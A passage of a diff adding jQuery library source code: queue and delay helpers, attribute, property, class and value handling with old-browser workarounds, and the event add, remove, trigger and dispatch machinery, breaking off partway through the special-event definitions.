http://blindsignals.com/index.php/2009/07/jquery-delay/ + delay: function( time, type ) { + time = jQuery.fx ? jQuery.fx.speeds[ time ] || time : time; + type = type || "fx"; + + return this.queue( type, function( next, hooks ) { + var timeout = setTimeout( next, time ); + hooks.stop = function() { + clearTimeout( timeout ); + }; + }); + }, + clearQueue: function( type ) { + return this.queue( type || "fx", [] ); + }, + // Get a promise resolved when queues of a certain type + // are emptied (fx is the type by default) + promise: function( type, obj ) { + var tmp, + count = 1, + defer = jQuery.Deferred(), + elements = this, + i = this.length, + resolve = function() { + if ( !( --count ) ) { + defer.resolveWith( elements, [ elements ] ); + } + }; + + if ( typeof type !== "string" ) { + obj = type; + type = undefined; + } + type = type || "fx"; + + while( i-- ) { + tmp = jQuery._data( elements[ i ], type + "queueHooks" ); + if ( tmp && tmp.empty ) { + count++; + tmp.empty.add( resolve ); + } + } + resolve(); + return defer.promise( obj ); + } +}); +var nodeHook, boolHook, + rclass = /[\t\r\n]/g, + rreturn = /\r/g, + rfocusable = /^(?:input|select|textarea|button|object)$/i, + rclickable = /^(?:a|area)$/i, + rboolean = /^(?:checked|selected|autofocus|autoplay|async|controls|defer|disabled|hidden|loop|multiple|open|readonly|required|scoped)$/i, + ruseDefault = /^(?:checked|selected)$/i, + getSetAttribute = jQuery.support.getSetAttribute, + getSetInput = jQuery.support.input; + +jQuery.fn.extend({ + attr: function( name, value ) { + return jQuery.access( this, jQuery.attr, name, value, arguments.length > 1 ); + }, + + removeAttr: function( name ) { + return this.each(function() { + jQuery.removeAttr( this, name ); + }); + }, + + prop: function( name, value ) { + return jQuery.access( this, jQuery.prop, name, value, arguments.length > 1 ); + }, + + removeProp: function( name ) { + name = jQuery.propFix[ name ] || name; + return this.each(function() { + // try/catch handles cases where IE balks (such as removing a property on window) + try { + this[ name ] = undefined; + delete this[ name ]; + } catch( e ) {} + }); + }, + + addClass: function( value ) { + var classes, elem, cur, clazz, j, + i = 0, + len = this.length, + proceed = typeof value === "string" && value; + + if ( jQuery.isFunction( value ) ) { + return this.each(function( j ) { + jQuery( this ).addClass( value.call( this, j, this.className ) ); + }); + } + + if ( proceed ) { + // The disjunction here is for better compressibility (see removeClass) + classes = ( value || "" ).match( core_rnotwhite ) || []; + + for ( ; i < len; i++ ) { + elem = this[ i ]; + cur = elem.nodeType === 1 && ( elem.className ? + ( " " + elem.className + " " ).replace( rclass, " " ) : + " " + ); + + if ( cur ) { + j = 0; + while ( (clazz = classes[j++]) ) { + if ( cur.indexOf( " " + clazz + " " ) < 0 ) { + cur += clazz + " "; + } + } + elem.className = jQuery.trim( cur ); + + } + } + } + + return this; + }, + + removeClass: function( value ) { + var classes, elem, cur, clazz, j, + i = 0, + len = this.length, + proceed = arguments.length === 0 || typeof value === "string" && value; + + if ( jQuery.isFunction( value ) ) { + return this.each(function( j ) { + jQuery( this ).removeClass( value.call( this, j, this.className ) ); + }); + } + if ( proceed ) { + classes = ( value || "" ).match( core_rnotwhite ) || []; + + for ( ; i < len; i++ ) { + elem = this[ i ]; + // This expression is here for better compressibility (see addClass) + cur = elem.nodeType === 1 && ( elem.className ? + ( " " + elem.className + " " ).replace( rclass, " " ) : + "" + ); + + if ( cur ) { + j = 0; + while ( (clazz = classes[j++]) ) { + // Remove *all* instances + while ( cur.indexOf( " " + clazz + " " ) >= 0 ) { + cur = cur.replace( " " + clazz + " ", " " ); + } + } + elem.className = value ? jQuery.trim( cur ) : ""; + } + } + } + + return this; + }, + + toggleClass: function( value, stateVal ) { + var type = typeof value, + isBool = typeof stateVal === "boolean"; + + if ( jQuery.isFunction( value ) ) { + return this.each(function( i ) { + jQuery( this ).toggleClass( value.call(this, i, this.className, stateVal), stateVal ); + }); + } + + return this.each(function() { + if ( type === "string" ) { + // toggle individual class names + var className, + i = 0, + self = jQuery( this ), + state = stateVal, + classNames = value.match( core_rnotwhite ) || []; + + while ( (className = classNames[ i++ ]) ) { + // check each className given, space separated list + state = isBool ? state : !self.hasClass( className ); + self[ state ? "addClass" : "removeClass" ]( className ); + } + + // Toggle whole class name + } else if ( type === core_strundefined || type === "boolean" ) { + if ( this.className ) { + // store className if set + jQuery._data( this, "__className__", this.className ); + } + + // If the element has a class name or if we're passed "false", + // then remove the whole classname (if there was one, the above saved it). + // Otherwise bring back whatever was previously saved (if anything), + // falling back to the empty string if nothing was stored. + this.className = this.className || value === false ? "" : jQuery._data( this, "__className__" ) || ""; + } + }); + }, + + hasClass: function( selector ) { + var className = " " + selector + " ", + i = 0, + l = this.length; + for ( ; i < l; i++ ) { + if ( this[i].nodeType === 1 && (" " + this[i].className + " ").replace(rclass, " ").indexOf( className ) >= 0 ) { + return true; + } + } + + return false; + }, + + val: function( value ) { + var ret, hooks, isFunction, + elem = this[0]; + + if ( !arguments.length ) { + if ( elem ) { + hooks = jQuery.valHooks[ elem.type ] || jQuery.valHooks[ elem.nodeName.toLowerCase() ]; + + if ( hooks && "get" in hooks && (ret = hooks.get( elem, "value" )) !== undefined ) { + return ret; + } + + ret = elem.value; + + return typeof ret === "string" ? + // handle most common string cases + ret.replace(rreturn, "") : + // handle cases where value is null/undef or number + ret == null ? "" : ret; + } + + return; + } + + isFunction = jQuery.isFunction( value ); + + return this.each(function( i ) { + var val, + self = jQuery(this); + + if ( this.nodeType !== 1 ) { + return; + } + + if ( isFunction ) { + val = value.call( this, i, self.val() ); + } else { + val = value; + } + + // Treat null/undefined as ""; convert numbers to string + if ( val == null ) { + val = ""; + } else if ( typeof val === "number" ) { + val += ""; + } else if ( jQuery.isArray( val ) ) { + val = jQuery.map(val, function ( value ) { + return value == null ? "" : value + ""; + }); + } + + hooks = jQuery.valHooks[ this.type ] || jQuery.valHooks[ this.nodeName.toLowerCase() ]; + + // If set returns undefined, fall back to normal setting + if ( !hooks || !("set" in hooks) || hooks.set( this, val, "value" ) === undefined ) { + this.value = val; + } + }); + } +}); + +jQuery.extend({ + valHooks: { + option: { + get: function( elem ) { + // attributes.value is undefined in Blackberry 4.7 but + // uses .value. See #6932 + var val = elem.attributes.value; + return !val || val.specified ? elem.value : elem.text; + } + }, + select: { + get: function( elem ) { + var value, option, + options = elem.options, + index = elem.selectedIndex, + one = elem.type === "select-one" || index < 0, + values = one ? null : [], + max = one ? index + 1 : options.length, + i = index < 0 ? + max : + one ? index : 0; + + // Loop through all the selected options + for ( ; i < max; i++ ) { + option = options[ i ]; + + // oldIE doesn't update selected after form reset (#2551) + if ( ( option.selected || i === index ) && + // Don't return options that are disabled or in a disabled optgroup + ( jQuery.support.optDisabled ? !option.disabled : option.getAttribute("disabled") === null ) && + ( !option.parentNode.disabled || !jQuery.nodeName( option.parentNode, "optgroup" ) ) ) { + + // Get the specific value for the option + value = jQuery( option ).val(); + + // We don't need an array for one selects + if ( one ) { + return value; + } + + // Multi-Selects return an array + values.push( value ); + } + } + + return values; + }, + + set: function( elem, value ) { + var values = jQuery.makeArray( value ); + + jQuery(elem).find("option").each(function() { + this.selected = jQuery.inArray( jQuery(this).val(), values ) >= 0; + }); + + if ( !values.length ) { + elem.selectedIndex = -1; + } + return values; + } + } + }, + + attr: function( elem, name, value ) { + var hooks, notxml, ret, + nType = elem.nodeType; + + // don't get/set attributes on text, comment and attribute nodes + if ( !elem || nType === 3 || nType === 8 || nType === 2 ) { + return; + } + + // Fallback to prop when attributes are not supported + if ( typeof elem.getAttribute === core_strundefined ) { + return jQuery.prop( elem, name, value ); + } + + notxml = nType !== 1 || !jQuery.isXMLDoc( elem ); + + // All attributes are lowercase + // Grab necessary hook if one is defined + if ( notxml ) { + name = name.toLowerCase(); + hooks = jQuery.attrHooks[ name ] || ( rboolean.test( name ) ? boolHook : nodeHook ); + } + + if ( value !== undefined ) { + + if ( value === null ) { + jQuery.removeAttr( elem, name ); + + } else if ( hooks && notxml && "set" in hooks && (ret = hooks.set( elem, value, name )) !== undefined ) { + return ret; + + } else { + elem.setAttribute( name, value + "" ); + return value; + } + + } else if ( hooks && notxml && "get" in hooks && (ret = hooks.get( elem, name )) !== null ) { + return ret; + + } else { + + // In IE9+, Flash objects don't have .getAttribute (#12945) + // Support: IE9+ + if ( typeof elem.getAttribute !== core_strundefined ) { + ret = elem.getAttribute( name ); + } + + // Non-existent attributes return null, we normalize to undefined + return ret == null ? + undefined : + ret; + } + }, + + removeAttr: function( elem, value ) { + var name, propName, + i = 0, + attrNames = value && value.match( core_rnotwhite ); + + if ( attrNames && elem.nodeType === 1 ) { + while ( (name = attrNames[i++]) ) { + propName = jQuery.propFix[ name ] || name; + + // Boolean attributes get special treatment (#10870) + if ( rboolean.test( name ) ) { + // Set corresponding property to false for boolean attributes + // Also clear defaultChecked/defaultSelected (if appropriate) for IE<8 + if ( !getSetAttribute && ruseDefault.test( name ) ) { + elem[ jQuery.camelCase( "default-" + name ) ] = + elem[ propName ] = false; + } else { + elem[ propName ] = false; + } + + // See #9699 for explanation of this approach (setting first, then removal) + } else { + jQuery.attr( elem, name, "" ); + } + + elem.removeAttribute( getSetAttribute ? name : propName ); + } + } + }, + + attrHooks: { + type: { + set: function( elem, value ) { + if ( !jQuery.support.radioValue && value === "radio" && jQuery.nodeName(elem, "input") ) { + // Setting the type on a radio button after the value resets the value in IE6-9 + // Reset value to default in case type is set after value during creation + var val = elem.value; + elem.setAttribute( "type", value ); + if ( val ) { + elem.value = val; + } + return value; + } + } + } + }, + + propFix: { + tabindex: "tabIndex", + readonly: "readOnly", + "for": "htmlFor", + "class": "className", + maxlength: "maxLength", + cellspacing: "cellSpacing", + cellpadding: "cellPadding", + rowspan: "rowSpan", + colspan: "colSpan", + usemap: "useMap", + frameborder: "frameBorder", + contenteditable: "contentEditable" + }, + + prop: function( elem, name, value ) { + var ret, hooks, notxml, + nType = elem.nodeType; + + // don't get/set properties on text, comment and attribute nodes + if ( !elem || nType === 3 || nType === 8 || nType === 2 ) { + return; + } + + notxml = nType !== 1 || !jQuery.isXMLDoc( elem ); + + if ( notxml ) { + // Fix name and attach hooks + name = jQuery.propFix[ name ] || name; + hooks = jQuery.propHooks[ name ]; + } + + if ( value !== undefined ) { + if ( hooks && "set" in hooks && (ret = hooks.set( elem, value, name )) !== undefined ) { + return ret; + + } else { + return ( elem[ name ] = value ); + } + + } else { + if ( hooks && "get" in hooks && (ret = hooks.get( elem, name )) !== null ) { + return ret; + + } else { + return elem[ name ]; + } + } + }, + + propHooks: { + tabIndex: { + get: function( elem ) { + // elem.tabIndex doesn't always return the correct value when it hasn't been explicitly set + // http://fluidproject.org/blog/2008/01/09/getting-setting-and-removing-tabindex-values-with-javascript/ + var attributeNode = elem.getAttributeNode("tabindex"); + + return attributeNode && attributeNode.specified ? + parseInt( attributeNode.value, 10 ) : + rfocusable.test( elem.nodeName ) || rclickable.test( elem.nodeName ) && elem.href ? + 0 : + undefined; + } + } + } +}); + +// Hook for boolean attributes +boolHook = { + get: function( elem, name ) { + var + // Use .prop to determine if this attribute is understood as boolean + prop = jQuery.prop( elem, name ), + + // Fetch it accordingly + attr = typeof prop === "boolean" && elem.getAttribute( name ), + detail = typeof prop === "boolean" ? + + getSetInput && getSetAttribute ? + attr != null : + // oldIE fabricates an empty string for missing boolean attributes + // and conflates checked/selected into attroperties + ruseDefault.test( name ) ? + elem[ jQuery.camelCase( "default-" + name ) ] : + !!attr : + + // fetch an attribute node for properties not recognized as boolean + elem.getAttributeNode( name ); + + return detail && detail.value !== false ? + name.toLowerCase() : + undefined; + }, + set: function( elem, value, name ) { + if ( value === false ) { + // Remove boolean attributes when set to false + jQuery.removeAttr( elem, name ); + } else if ( getSetInput && getSetAttribute || !ruseDefault.test( name ) ) { + // IE<8 needs the *property* name + elem.setAttribute( !getSetAttribute && jQuery.propFix[ name ] || name, name ); + + // Use defaultChecked and defaultSelected for oldIE + } else { + elem[ jQuery.camelCase( "default-" + name ) ] = elem[ name ] = true; + } + + return name; + } +}; + +// fix oldIE value attroperty +if ( !getSetInput || !getSetAttribute ) { + jQuery.attrHooks.value = { + get: function( elem, name ) { + var ret = elem.getAttributeNode( name ); + return jQuery.nodeName( elem, "input" ) ? + + // Ignore the value *property* by using defaultValue + elem.defaultValue : + + ret && ret.specified ? ret.value : undefined; + }, + set: function( elem, value, name ) { + if ( jQuery.nodeName( elem, "input" ) ) { + // Does not return so that setAttribute is also used + elem.defaultValue = value; + } else { + // Use nodeHook if defined (#1954); otherwise setAttribute is fine + return nodeHook && nodeHook.set( elem, value, name ); + } + } + }; +} + +// IE6/7 do not support getting/setting some attributes with get/setAttribute +if ( !getSetAttribute ) { + + // Use this for any attribute in IE6/7 + // This fixes almost every IE6/7 issue + nodeHook = jQuery.valHooks.button = { + get: function( elem, name ) { + var ret = elem.getAttributeNode( name ); + return ret && ( name === "id" || name === "name" || name === "coords" ? ret.value !== "" : ret.specified ) ? + ret.value : + undefined; + }, + set: function( elem, value, name ) { + // Set the existing or create a new attribute node + var ret = elem.getAttributeNode( name ); + if ( !ret ) { + elem.setAttributeNode( + (ret = elem.ownerDocument.createAttribute( name )) + ); + } + + ret.value = value += ""; + + // Break association with cloned elements by also using setAttribute (#9646) + return name === "value" || value === elem.getAttribute( name ) ? + value : + undefined; + } + }; + + // Set contenteditable to false on removals(#10429) + // Setting to empty string throws an error as an invalid value + jQuery.attrHooks.contenteditable = { + get: nodeHook.get, + set: function( elem, value, name ) { + nodeHook.set( elem, value === "" ? false : value, name ); + } + }; + + // Set width and height to auto instead of 0 on empty string( Bug #8150 ) + // This is for removals + jQuery.each([ "width", "height" ], function( i, name ) { + jQuery.attrHooks[ name ] = jQuery.extend( jQuery.attrHooks[ name ], { + set: function( elem, value ) { + if ( value === "" ) { + elem.setAttribute( name, "auto" ); + return value; + } + } + }); + }); +} + + +// Some attributes require a special call on IE +// http://msdn.microsoft.com/en-us/library/ms536429%28VS.85%29.aspx +if ( !jQuery.support.hrefNormalized ) { + jQuery.each([ "href", "src", "width", "height" ], function( i, name ) { + jQuery.attrHooks[ name ] = jQuery.extend( jQuery.attrHooks[ name ], { + get: function( elem ) { + var ret = elem.getAttribute( name, 2 ); + return ret == null ? undefined : ret; + } + }); + }); + + // href/src property should get the full normalized URL (#10299/#12915) + jQuery.each([ "href", "src" ], function( i, name ) { + jQuery.propHooks[ name ] = { + get: function( elem ) { + return elem.getAttribute( name, 4 ); + } + }; + }); +} + +if ( !jQuery.support.style ) { + jQuery.attrHooks.style = { + get: function( elem ) { + // Return undefined in the case of empty string + // Note: IE uppercases css property names, but if we were to .toLowerCase() + // .cssText, that would destroy case senstitivity in URL's, like in "background" + return elem.style.cssText || undefined; + }, + set: function( elem, value ) { + return ( elem.style.cssText = value + "" ); + } + }; +} + +// Safari mis-reports the default selected property of an option +// Accessing the parent's selectedIndex property fixes it +if ( !jQuery.support.optSelected ) { + jQuery.propHooks.selected = jQuery.extend( jQuery.propHooks.selected, { + get: function( elem ) { + var parent = elem.parentNode; + + if ( parent ) { + parent.selectedIndex; + + // Make sure that it also works with optgroups, see #5701 + if ( parent.parentNode ) { + parent.parentNode.selectedIndex; + } + } + return null; + } + }); +} + +// IE6/7 call enctype encoding +if ( !jQuery.support.enctype ) { + jQuery.propFix.enctype = "encoding"; +} + +// Radios and checkboxes getter/setter +if ( !jQuery.support.checkOn ) { + jQuery.each([ "radio", "checkbox" ], function() { + jQuery.valHooks[ this ] = { + get: function( elem ) { + // Handle the case where in Webkit "" is returned instead of "on" if a value isn't specified + return elem.getAttribute("value") === null ? "on" : elem.value; + } + }; + }); +} +jQuery.each([ "radio", "checkbox" ], function() { + jQuery.valHooks[ this ] = jQuery.extend( jQuery.valHooks[ this ], { + set: function( elem, value ) { + if ( jQuery.isArray( value ) ) { + return ( elem.checked = jQuery.inArray( jQuery(elem).val(), value ) >= 0 ); + } + } + }); +}); +var rformElems = /^(?:input|select|textarea)$/i, + rkeyEvent = /^key/, + rmouseEvent = /^(?:mouse|contextmenu)|click/, + rfocusMorph = /^(?:focusinfocus|focusoutblur)$/, + rtypenamespace = /^([^.]*)(?:\.(.+)|)$/; + +function returnTrue() { + return true; +} + +function returnFalse() { + return false; +} + +/* + * Helper functions for managing events -- not part of the public interface. + * Props to Dean Edwards' addEvent library for many of the ideas. + */ +jQuery.event = { + + global: {}, + + add: function( elem, types, handler, data, selector ) { + var tmp, events, t, handleObjIn, + special, eventHandle, handleObj, + handlers, type, namespaces, origType, + elemData = jQuery._data( elem ); + + // Don't attach events to noData or text/comment nodes (but allow plain objects) + if ( !elemData ) { + return; + } + + // Caller can pass in an object of custom data in lieu of the handler + if ( handler.handler ) { + handleObjIn = handler; + handler = handleObjIn.handler; + selector = handleObjIn.selector; + } + + // Make sure that the handler has a unique ID, used to find/remove it later + if ( !handler.guid ) { + handler.guid = jQuery.guid++; + } + + // Init the element's event structure and main handler, if this is the first + if ( !(events = elemData.events) ) { + events = elemData.events = {}; + } + if ( !(eventHandle = elemData.handle) ) { + eventHandle = elemData.handle = function( e ) { + // Discard the second event of a jQuery.event.trigger() and + // when an event is called after a page has unloaded + return typeof jQuery !== core_strundefined && (!e || jQuery.event.triggered !== e.type) ? + jQuery.event.dispatch.apply( eventHandle.elem, arguments ) : + undefined; + }; + // Add elem as a property of the handle fn to prevent a memory leak with IE non-native events + eventHandle.elem = elem; + } + + // Handle multiple events separated by a space + // jQuery(...).bind("mouseover mouseout", fn); + types = ( types || "" ).match( core_rnotwhite ) || [""]; + t = types.length; + while ( t-- ) { + tmp = rtypenamespace.exec( types[t] ) || []; + type = origType = tmp[1]; + namespaces = ( tmp[2] || "" ).split( "." ).sort(); + + // If event changes its type, use the special event handlers for the changed type + special = jQuery.event.special[ type ] || {}; + + // If selector defined, determine special event api type, otherwise given type + type = ( selector ? special.delegateType : special.bindType ) || type; + + // Update special based on newly reset type + special = jQuery.event.special[ type ] || {}; + + // handleObj is passed to all event handlers + handleObj = jQuery.extend({ + type: type, + origType: origType, + data: data, + handler: handler, + guid: handler.guid, + selector: selector, + needsContext: selector && jQuery.expr.match.needsContext.test( selector ), + namespace: namespaces.join(".") + }, handleObjIn ); + + // Init the event handler queue if we're the first + if ( !(handlers = events[ type ]) ) { + handlers = events[ type ] = []; + handlers.delegateCount = 0; + + // Only use addEventListener/attachEvent if the special events handler returns false + if ( !special.setup || special.setup.call( elem, data, namespaces, eventHandle ) === false ) { + // Bind the global event handler to the element + if ( elem.addEventListener ) { + elem.addEventListener( type, eventHandle, false ); + + } else if ( elem.attachEvent ) { + elem.attachEvent( "on" + type, eventHandle ); + } + } + } + + if ( special.add ) { + special.add.call( elem, handleObj ); + + if ( !handleObj.handler.guid ) { + handleObj.handler.guid = handler.guid; + } + } + + // Add to the element's handler list, delegates in front + if ( selector ) { + handlers.splice( handlers.delegateCount++, 0, handleObj ); + } else { + handlers.push( handleObj ); + } + + // Keep track of which events have ever been used, for event optimization + jQuery.event.global[ type ] = true; + } + + // Nullify elem to prevent memory leaks in IE + elem = null; + }, + + // Detach an event or set of events from an element + remove: function( elem, types, handler, selector, mappedTypes ) { + var j, handleObj, tmp, + origCount, t, events, + special, handlers, type, + namespaces, origType, + elemData = jQuery.hasData( elem ) && jQuery._data( elem ); + + if ( !elemData || !(events = elemData.events) ) { + return; + } + + // Once for each type.namespace in types; type may be omitted + types = ( types || "" ).match( core_rnotwhite ) || [""]; + t = types.length; + while ( t-- ) { + tmp = rtypenamespace.exec( types[t] ) || []; + type = origType = tmp[1]; + namespaces = ( tmp[2] || "" ).split( "." ).sort(); + + // Unbind all events (on this namespace, if provided) for the element + if ( !type ) { + for ( type in events ) { + jQuery.event.remove( elem, type + types[ t ], handler, selector, true ); + } + continue; + } + + special = jQuery.event.special[ type ] || {}; + type = ( selector ? special.delegateType : special.bindType ) || type; + handlers = events[ type ] || []; + tmp = tmp[2] && new RegExp( "(^|\\.)" + namespaces.join("\\.(?:.*\\.|)") + "(\\.|$)" ); + + // Remove matching events + origCount = j = handlers.length; + while ( j-- ) { + handleObj = handlers[ j ]; + + if ( ( mappedTypes || origType === handleObj.origType ) && + ( !handler || handler.guid === handleObj.guid ) && + ( !tmp || tmp.test( handleObj.namespace ) ) && + ( !selector || selector === handleObj.selector || selector === "**" && handleObj.selector ) ) { + handlers.splice( j, 1 ); + + if ( handleObj.selector ) { + handlers.delegateCount--; + } + if ( special.remove ) { + special.remove.call( elem, handleObj ); + } + } + } + + // Remove generic event handler if we removed something and no more handlers exist + // (avoids potential for endless recursion during removal of special event handlers) + if ( origCount && !handlers.length ) { + if ( !special.teardown || special.teardown.call( elem, namespaces, elemData.handle ) === false ) { + jQuery.removeEvent( elem, type, elemData.handle ); + } + + delete events[ type ]; + } + } + + // Remove the expando if it's no longer used + if ( jQuery.isEmptyObject( events ) ) { + delete elemData.handle; + + // removeData also checks for emptiness and clears the expando if empty + // so use it instead of delete + jQuery._removeData( elem, "events" ); + } + }, + + trigger: function( event, data, elem, onlyHandlers ) { + var handle, ontype, cur, + bubbleType, special, tmp, i, + eventPath = [ elem || document ], + type = core_hasOwn.call( event, "type" ) ? event.type : event, + namespaces = core_hasOwn.call( event, "namespace" ) ? event.namespace.split(".") : []; + + cur = tmp = elem = elem || document; + + // Don't do events on text and comment nodes + if ( elem.nodeType === 3 || elem.nodeType === 8 ) { + return; + } + + // focus/blur morphs to focusin/out; ensure we're not firing them right now + if ( rfocusMorph.test( type + jQuery.event.triggered ) ) { + return; + } + + if ( type.indexOf(".") >= 0 ) { + // Namespaced trigger; create a regexp to match event type in handle() + namespaces = type.split("."); + type = namespaces.shift(); + namespaces.sort(); + } + ontype = type.indexOf(":") < 0 && "on" + type; + + // Caller can pass in a jQuery.Event object, Object, or just an event type string + event = event[ jQuery.expando ] ? + event : + new jQuery.Event( type, typeof event === "object" && event ); + + event.isTrigger = true; + event.namespace = namespaces.join("."); + event.namespace_re = event.namespace ? + new RegExp( "(^|\\.)" + namespaces.join("\\.(?:.*\\.|)") + "(\\.|$)" ) : + null; + + // Clean up the event in case it is being reused + event.result = undefined; + if ( !event.target ) { + event.target = elem; + } + + // Clone any incoming data and prepend the event, creating the handler arg list + data = data == null ? + [ event ] : + jQuery.makeArray( data, [ event ] ); + + // Allow special events to draw outside the lines + special = jQuery.event.special[ type ] || {}; + if ( !onlyHandlers && special.trigger && special.trigger.apply( elem, data ) === false ) { + return; + } + + // Determine event propagation path in advance, per W3C events spec (#9951) + // Bubble up to document, then to window; watch for a global ownerDocument var (#9724) + if ( !onlyHandlers && !special.noBubble && !jQuery.isWindow( elem ) ) { + + bubbleType = special.delegateType || type; + if ( !rfocusMorph.test( bubbleType + type ) ) { + cur = cur.parentNode; + } + for ( ; cur; cur = cur.parentNode ) { + eventPath.push( cur ); + tmp = cur; + } + + // Only add window if we got to document (e.g., not plain obj or detached DOM) + if ( tmp === (elem.ownerDocument || document) ) { + eventPath.push( tmp.defaultView || tmp.parentWindow || window ); + } + } + + // Fire handlers on the event path + i = 0; + while ( (cur = eventPath[i++]) && !event.isPropagationStopped() ) { + + event.type = i > 1 ? + bubbleType : + special.bindType || type; + + // jQuery handler + handle = ( jQuery._data( cur, "events" ) || {} )[ event.type ] && jQuery._data( cur, "handle" ); + if ( handle ) { + handle.apply( cur, data ); + } + + // Native handler + handle = ontype && cur[ ontype ]; + if ( handle && jQuery.acceptData( cur ) && handle.apply && handle.apply( cur, data ) === false ) { + event.preventDefault(); + } + } + event.type = type; + + // If nobody prevented the default action, do it now + if ( !onlyHandlers && !event.isDefaultPrevented() ) { + + if ( (!special._default || special._default.apply( elem.ownerDocument, data ) === false) && + !(type === "click" && jQuery.nodeName( elem, "a" )) && jQuery.acceptData( elem ) ) { + + // Call a native DOM method on the target with the same name name as the event. + // Can't use an .isFunction() check here because IE6/7 fails that test. + // Don't do default actions on window, that's where global variables be (#6170) + if ( ontype && elem[ type ] && !jQuery.isWindow( elem ) ) { + + // Don't re-trigger an onFOO event when we call its FOO() method + tmp = elem[ ontype ]; + + if ( tmp ) { + elem[ ontype ] = null; + } + + // Prevent re-triggering of the same event, since we already bubbled it above + jQuery.event.triggered = type; + try { + elem[ type ](); + } catch ( e ) { + // IE<9 dies on focus/blur to hidden element (#1486,#12518) + // only reproducible on winXP IE8 native, not IE9 in IE8 mode + } + jQuery.event.triggered = undefined; + + if ( tmp ) { + elem[ ontype ] = tmp; + } + } + } + } + + return event.result; + }, + + dispatch: function( event ) { + + // Make a writable jQuery.Event from the native event object + event = jQuery.event.fix( event ); + + var i, ret, handleObj, matched, j, + handlerQueue = [], + args = core_slice.call( arguments ), + handlers = ( jQuery._data( this, "events" ) || {} )[ event.type ] || [], + special = jQuery.event.special[ event.type ] || {}; + + // Use the fix-ed jQuery.Event rather than the (read-only) native event + args[0] = event; + event.delegateTarget = this; + + // Call the preDispatch hook for the mapped type, and let it bail if desired + if ( special.preDispatch && special.preDispatch.call( this, event ) === false ) { + return; + } + + // Determine handlers + handlerQueue = jQuery.event.handlers.call( this, event, handlers ); + + // Run delegates first; they may want to stop propagation beneath us + i = 0; + while ( (matched = handlerQueue[ i++ ]) && !event.isPropagationStopped() ) { + event.currentTarget = matched.elem; + + j = 0; + while ( (handleObj = matched.handlers[ j++ ]) && !event.isImmediatePropagationStopped() ) { + + // Triggered event must either 1) have no namespace, or + // 2) have namespace(s) a subset or equal to those in the bound event (both can have no namespace). + if ( !event.namespace_re || event.namespace_re.test( handleObj.namespace ) ) { + + event.handleObj = handleObj; + event.data = handleObj.data; + + ret = ( (jQuery.event.special[ handleObj.origType ] || {}).handle || handleObj.handler ) + .apply( matched.elem, args ); + + if ( ret !== undefined ) { + if ( (event.result = ret) === false ) { + event.preventDefault(); + event.stopPropagation(); + } + } + } + } + } + + // Call the postDispatch hook for the mapped type + if ( special.postDispatch ) { + special.postDispatch.call( this, event ); + } + + return event.result; + }, + + handlers: function( event, handlers ) { + var sel, handleObj, matches, i, + handlerQueue = [], + delegateCount = handlers.delegateCount, + cur = event.target; + + // Find delegate handlers + // Black-hole SVG instance trees (#13180) + // Avoid non-left-click bubbling in Firefox (#3861) + if ( delegateCount && cur.nodeType && (!event.button || event.type !== "click") ) { + + for ( ; cur != this; cur = cur.parentNode || this ) { + + // Don't check non-elements (#13208) + // Don't process clicks on disabled elements (#6911, #8165, #11382, #11764) + if ( cur.nodeType === 1 && (cur.disabled !== true || event.type !== "click") ) { + matches = []; + for ( i = 0; i < delegateCount; i++ ) { + handleObj = handlers[ i ]; + + // Don't conflict with Object.prototype properties (#13203) + sel = handleObj.selector + " "; + + if ( matches[ sel ] === undefined ) { + matches[ sel ] = handleObj.needsContext ? + jQuery( sel, this ).index( cur ) >= 0 : + jQuery.find( sel, this, null, [ cur ] ).length; + } + if ( matches[ sel ] ) { + matches.push( handleObj ); + } + } + if ( matches.length ) { + handlerQueue.push({ elem: cur, handlers: matches }); + } + } + } + } + + // Add the remaining (directly-bound) handlers + if ( delegateCount < handlers.length ) { + handlerQueue.push({ elem: this, handlers: handlers.slice( delegateCount ) }); + } + + return handlerQueue; + }, + + fix: function( event ) { + if ( event[ jQuery.expando ] ) { + return event; + } + + // Create a writable copy of the event object and normalize some properties + var i, prop, copy, + type = event.type, + originalEvent = event, + fixHook = this.fixHooks[ type ]; + + if ( !fixHook ) { + this.fixHooks[ type ] = fixHook = + rmouseEvent.test( type ) ? this.mouseHooks : + rkeyEvent.test( type ) ? this.keyHooks : + {}; + } + copy = fixHook.props ? this.props.concat( fixHook.props ) : this.props; + + event = new jQuery.Event( originalEvent ); + + i = copy.length; + while ( i-- ) { + prop = copy[ i ]; + event[ prop ] = originalEvent[ prop ]; + } + + // Support: IE<9 + // Fix target property (#1925) + if ( !event.target ) { + event.target = originalEvent.srcElement || document; + } + + // Support: Chrome 23+, Safari? + // Target should not be a text node (#504, #13143) + if ( event.target.nodeType === 3 ) { + event.target = event.target.parentNode; + } + + // Support: IE<9 + // For mouse/key events, metaKey==false if it's undefined (#3368, #11328) + event.metaKey = !!event.metaKey; + + return fixHook.filter ? fixHook.filter( event, originalEvent ) : event; + }, + + // Includes some event props shared by KeyEvent and MouseEvent + props: "altKey bubbles cancelable ctrlKey currentTarget eventPhase metaKey relatedTarget shiftKey target timeStamp view which".split(" "), + + fixHooks: {}, + + keyHooks: { + props: "char charCode key keyCode".split(" "), + filter: function( event, original ) { + + // Add which for key events + if ( event.which == null ) { + event.which = original.charCode != null ? original.charCode : original.keyCode; + } + + return event; + } + }, + + mouseHooks: { + props: "button buttons clientX clientY fromElement offsetX offsetY pageX pageY screenX screenY toElement".split(" "), + filter: function( event, original ) { + var body, eventDoc, doc, + button = original.button, + fromElement = original.fromElement; + + // Calculate pageX/Y if missing and clientX/Y available + if ( event.pageX == null && original.clientX != null ) { + eventDoc = event.target.ownerDocument || document; + doc = eventDoc.documentElement; + body = eventDoc.body; + + event.pageX = original.clientX + ( doc && doc.scrollLeft || body && body.scrollLeft || 0 ) - ( doc && doc.clientLeft || body && body.clientLeft || 0 ); + event.pageY = original.clientY + ( doc && doc.scrollTop || body && body.scrollTop || 0 ) - ( doc && doc.clientTop || body && body.clientTop || 0 ); + } + + // Add relatedTarget, if necessary + if ( !event.relatedTarget && fromElement ) { + event.relatedTarget = fromElement === event.target ? original.toElement : fromElement; + } + + // Add which for click: 1 === left; 2 === middle; 3 === right + // Note: button is not normalized, so don't use it + if ( !event.which && button !== undefined ) { + event.which = ( button & 1 ? 1 : ( button & 2 ? 3 : ( button & 4 ? 2 : 0 ) ) ); + } + + return event; + } + }, + + special: { + load: { + // Prevent triggered image.load events from bubbling to window.load + noBubble: true + }, + click: { + // For checkbox, fire native event so checked state will be right + trigger: function() { + if ( jQuery.nodeName( this, "input" ) && this.type === "checkbox" && this.click ) { + this.click(); + return false; + } + } + }, + focus: { + // Fire native event if possible so blur/focus sequence is correct + trigger: function() { + if ( 